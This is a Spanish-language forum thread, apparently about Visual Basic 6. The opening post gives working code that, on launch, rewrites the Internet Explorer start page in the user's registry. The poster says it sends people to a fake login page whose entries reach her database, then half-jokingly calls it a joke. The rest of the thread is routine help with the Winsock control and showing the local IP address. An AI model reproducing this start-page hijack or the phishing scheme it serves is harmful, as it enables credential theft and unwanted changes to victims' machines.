Mensajes

[GRACIASME PONGO QUE NOTIFIQUE RESPUESTAS]

Hola, bueno, hoy he creado una aplicación que lo que hace es que la persona que lo abre se le pone como página de incio de internet la que yo he configurado, esto lo he hecho servir para hacer como una especie de "fake" he puesto que se le ponga como página de inicio un falso inicio de sesión, lo rellena y llega a mi db XD que lista soy, eh? ajajajaj es coña


bueno, aki esta el code:

Código [Seleccionar] Expandir


Const REG_SZ = 1
Const HKEY_CURRENT_USER = &H80000001
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long

Sub SaveString(hKey As Long, strPath As String, strValue As String, strData As String)
    Dim Ret
   
    RegCreateKey hKey, strPath, Ret
   
    RegSetValueEx Ret, strValue, 0, REG_SZ, ByVal strData, Len(strData)
   
    RegCloseKey Ret
End Sub

Private Sub Form_Load()
Dim strString As String

strString = Label1.Caption

SaveString HKEY_CURRENT_USER, "Software\Microsoft\Internet Explorer\Main", "Start Page", strString
MsgBox ("ajajaj mira la pagina de inicio !"), vbInformation
End
End Sub



entonces, mi duda es esta:

en vez de:

Código [Seleccionar] Expandir

MsgBox ("ajajaj mira la pagina de inicio !"), vbInformation

no se si

Código [Seleccionar] Expandir

vbInformation

corresponde a algo del mensaje d alerta o no xD

lo q yo quiero es q en vez de poner el mensaje ese, se abra una web, entonces en esa web, sera mia y hare una animacion o un juego, nose, el caso es q quiero q se abra una web, para q m orienteis, como seria mas o menos para q se abriera una web (orientadme sobre el code)

GRACIAS
ME PONGO QUE NOTIFIQUE RESPUESTAS 

Solamente cojes el form, te vas y agregas el componente winsock.
Ahora lo arrastras al form, y un label tambien.
Ahora sin cambiar nada deberia de ser

Código [Seleccionar] Expandir

Label1.caption = Winsock1.LocalIp

No le des mas vueltas...

yaya, me di cuenta

gracias por toda vuestra ayuda, eh?
he aprendido mucho con todas vuestras respuestas 
q eso es lo q importa

El control label
y el control textbox
No tienen la misma propiedad para mostrar el texto 
Un error de novato 

kien ha dicho q no sea novata?

GreenDeviL, la edad no es una prioridad, así que no pongas escusas. Deberías haber leido sobre el control winsock antes de preguntar.

yaya, si yo entendia todo esto, y lo q entiendo, lo hago, no necesito entenderlo mas pero d otra forma ...

[GRACIAS A TODOS a los q m criticaron y a los q no]

ya me salio!

Código [Seleccionar] Expandir

Private Sub Form_Load()
   Label1.Text = Winsock1.LocalIP
End Sub

poniendo esto.. puse lo q m dijiste tu cambiando "text1" por "label1"

siempre las respuestas cortas ayudan mas q una larga explicandote...

GRACIAS A TODOS a los q m criticaron y a los q no 

ahhh, ya se, ya se a lo q t referias, a esto:



pero agregando eso en vez del picturebox me sale otro error XD, espero a q m contestes y entonces t pongo captura, ok?

Cómo es eso de agregar un PictureBox como WinSock1 :S  . La verdad esto es la primera vez que lo veo xDDD.

Bueno te explico, el WinSock es un control, el PictureBox es OTRO control DIFERENTE. Cuando agregas el control WinSock desde el cuadro de componentes vas a ver que aparece en la lista de controles otro control con el icono de una computadora, ESE es el que tenés que AGREGAR al formulario y al que tenés que ponerle el nombre WinSock1.

Saludos.

:|

XD

inventar cosas estupidas es gratis 

oye, m puedes poner una captura? no t entendi muy bien esto de: "Cuando agregas el control WinSock desde el cuadro de componentes vas a ver que aparece en la lista de controles otro control con el icono de una computadora"


q t refiers, q donde sta toda esa lista d componentes al picar aceptar para poner l control winsock, luego si abro de nuevo la ventana d componentes sale otro con l icono d un ordenadorcito?

[y SI COMPILO ME SALE EL MISMO ERROR QUE SI PICO PLAY, MENOS QUE NO ME SUBRAYA NADA EN AMARILLO SI NO, SIMPLEMENTE EN AZUL EL LOCALIP]

y SI COMPILO ME SALE EL MISMO ERROR QUE SI PICO PLAY, MENOS QUE NO ME SUBRAYA NADA EN AMARILLO SI NO, SIMPLEMENTE EN AZUL EL LOCALIP

sta muy bien la idea, me pareceria fenomenal

Lo de la red inalámbrica no tiene nada que ver, eso pasa porque no encuentra la propiedad en el control, eso significa que el control WinSock no se llama WinSock1 o que el control que agregaste no es el WinSock, o es una versión más vieja que no tiene esa propiedad.

Saludos.

ok, vnga ahora t voy a ir poniendo capturas d lo q voy haciendo